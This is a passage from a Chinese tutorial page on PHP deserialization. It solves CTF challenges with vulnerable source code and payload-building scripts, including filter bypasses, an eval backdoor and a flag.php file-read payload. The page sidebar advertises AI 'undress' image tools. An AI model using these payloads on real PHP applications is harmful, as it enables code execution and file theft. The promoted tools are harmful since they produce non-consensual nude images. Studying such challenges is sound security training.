//O:1:"A":1:{s:2:"ab";s:4:"test";}  
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
登入後複製

php类名对大小写不敏感

ctfshowWEB266

<?php  

highlight_file(__FILE__);  

include(&#39;flag.php&#39;);  
$cs = file_get_contents(&#39;php://input&#39;);  


class ctfshow{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public function __construct($u,$p){  
$this->username=$u;  
$this->password=$p;  
}  
public function login(){  
return $this->username===$this->password;  
}  
public function __toString(){  
return $this->username;  
}  
public function __destruct(){  
global $flag;  
echo $flag;  
}  
}  
$ctfshowo=@unserialize($cs);  
if(preg_match(&#39;/ctfshow/&#39;, $cs)){  
throw new Exception("Error $ctfshowo",1);  
}
登入後複製

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents(&#39;php://input&#39;);采用php伪协议传参

直接提交POST数据就行

<?php  


class cTfshow  
{  


}  

$a=new cTfshow();  
echo (serialize($a));
登入後複製

1PHP反序列化入門總結(小白必看)

+号绕过

ctfshowWEB258

<?php  


error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new info();  
}  
public function login($u,$p){  
return $this->username===$u&&$this->password===$p;  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class info{  
public $user=&#39;xxxxxx&#39;;  
public function getInfo(){  
return $this->user;  
}  
}  

class backDoor{  
public $code;  
public function getInfo(){  
eval($this->code);  
}  
}  

$username=$_GET[&#39;username&#39;];  
$password=$_GET[&#39;password&#39;];  

if(isset($username) && isset($password)){  
if(!preg_match(&#39;/[oc]:d+:/i&#39;, $_COOKIE[&#39;user&#39;])){  
$user = unserialize($_COOKIE[&#39;user&#39;]);  
}  
$user->login($username,$password);  
}  

可见增加了过滤,过滤例如如下o:123:、c:456:

s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
登入後複製

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

<?php  

error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new backDoor();  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class backDoor{  
public $code="phpinfo();";  
public function getInfo(){  
eval($this->code);  
}  
}  

$a=new ctfShowUser();  
//echo urlencode(serialize($a));  
$a=serialize($a);  
$a=preg_replace(&#39;/[oc]+:/i&#39;,&#39;O:+&#39;,$a);  
echo urlencode($a);
登入後複製

1PHP反序列化入門總結(小白必看)

利用&使两值恒等

题目ctfshow web265

<?php  

error_reporting(0);  
include(&#39;flag.php&#39;);  
highlight_file(__FILE__);  
class ctfshowAdmin{  
public $token;  
public $password;  

public function __construct($t,$p){  
$this->token=$t;  
$this->password = $p;  
}  
public function login(){  
return $this->token===$this->password;  
}  
}  

$ctfshow = unserialize($_GET[&#39;ctfshow&#39;]);  
$ctfshow->token=md5(mt_rand());  

if($ctfshow->login()){  
echo $flag;  
}

$ctfshow->login()这个成立才给flag

$ctfshow->token=md5(mt_rand());但是这个是随机的
登入後複製

这个题考察php按地址传参

<?php  
$a=&#39;11&#39;;  
$b=&$a;  
$b=1;  
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  
//1
登入後複製

所以我们可以直接这样

<?php  
class ctfshowAdmin{  
public $token;  
public $password;  
public function __construct(){  
$this->password = &$this->token;  
}  
}  
$a=new ctfshowAdmin();  
echo ( urlencode(serialize($a)));
登入後複製

php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?php  

include("flag.php");  

highlight_file(__FILE__);  

class FileHandler {  

protected $op;  
protected $filename;  
protected $content;  

function __construct() {  
$op = "1";  
$filename = "/tmp/tmpfile";  
$content = "Hello World!";  
$this->process();  
}  

public function process() {  
if($this->op == "1") {  
$this->write();  
} else if($this->op == "2") {  
$res = $this->read();  
$this->output($res);  
} else {  
$this->output("Bad Hacker!");  
}  
}  

private function write() {  
if(isset($this->filename) && isset($this->content)) {  
if(strlen((string)$this->content) > 100) {  
$this->output("Too long!");  
die();  
}  
$res = file_put_contents($this->filename, $this->content);  
if($res) $this->output("Successful!");  
else $this->output("Failed!");  
} else {  
$this->output("Failed!");  
}  
}  

private function read() {  
$res = "";  
if(isset($this->filename)) {  
$res = file_get_contents($this->filename);  
}  
return $res;  
}  

private function output($s) {  
echo "[Result]: <br>";  
echo $s;  
}  

function __destruct() {  
if($this->op === "2")  
$this->op = "1";  
$this->content = "";  
$this->process();  
}  

}  

function is_valid($s) {  
for($i = 0; $i < strlen($s); $i++)  
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
return false;  
return true;  
}  

if(isset($_GET{&#39;str&#39;})) {  

$str = (string)$_GET[&#39;str&#39;];  
if(is_valid($str)) {  
$obj = unserialize($str);  
}  

}
登入後複製

看着很多,其实没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以尝试利用得到flag

但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

POC如下

<?php  

class FileHandler {  

public $op=2;  
public $filename="flag.php";  
public $content="111";  
pr  
}  

$a = new FileHandler();  

echo urlencode(serialize($a));  

?>

payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
登入後複製

推荐学习:《PHP视频教程

以上是PHP反序列化入門總結(小白必看)的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1666
14
CakePHP 教程
1425
52
Laravel 教程
1325
25
PHP教程
1273
29
C# 教程
1252
24
PHP和Python:比較兩種流行的編程語言 PHP和Python:比較兩種流行的編程語言 Apr 14, 2025 am 12:13 AM

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP:網絡開發的關鍵語言 PHP:網絡開發的關鍵語言 Apr 13, 2025 am 12:08 AM

PHP是一種廣泛應用於服務器端的腳本語言,特別適合web開發。 1.PHP可以嵌入HTML,處理HTTP請求和響應,支持多種數據庫。 2.PHP用於生成動態網頁內容,處理表單數據,訪問數據庫等,具有強大的社區支持和開源資源。 3.PHP是解釋型語言,執行過程包括詞法分析、語法分析、編譯和執行。 4.PHP可以與MySQL結合用於用戶註冊系統等高級應用。 5.調試PHP時,可使用error_reporting()和var_dump()等函數。 6.優化PHP代碼可通過緩存機制、優化數據庫查詢和使用內置函數。 7

PHP行動:現實世界中的示例和應用程序 PHP行動:現實世界中的示例和應用程序 Apr 14, 2025 am 12:19 AM

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP與Python:了解差異 PHP與Python:了解差異 Apr 11, 2025 am 12:15 AM

PHP和Python各有優勢,選擇應基於項目需求。 1.PHP適合web開發,語法簡單,執行效率高。 2.Python適用於數據科學和機器學習,語法簡潔,庫豐富。

PHP的持久相關性:它還活著嗎? PHP的持久相關性:它還活著嗎? Apr 14, 2025 am 12:12 AM

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。

PHP和Python:代碼示例和比較 PHP和Python:代碼示例和比較 Apr 15, 2025 am 12:07 AM

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP與其他語言:比較 PHP與其他語言:比較 Apr 13, 2025 am 12:19 AM

PHP適合web開發,特別是在快速開發和處理動態內容方面表現出色,但不擅長數據科學和企業級應用。與Python相比,PHP在web開發中更具優勢,但在數據科學領域不如Python;與Java相比,PHP在企業級應用中表現較差,但在web開發中更靈活;與JavaScript相比,PHP在後端開發中更簡潔,但在前端開發中不如JavaScript。

PHP和Python:解釋了不同的範例 PHP和Python:解釋了不同的範例 Apr 18, 2025 am 12:26 AM

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。

See all articles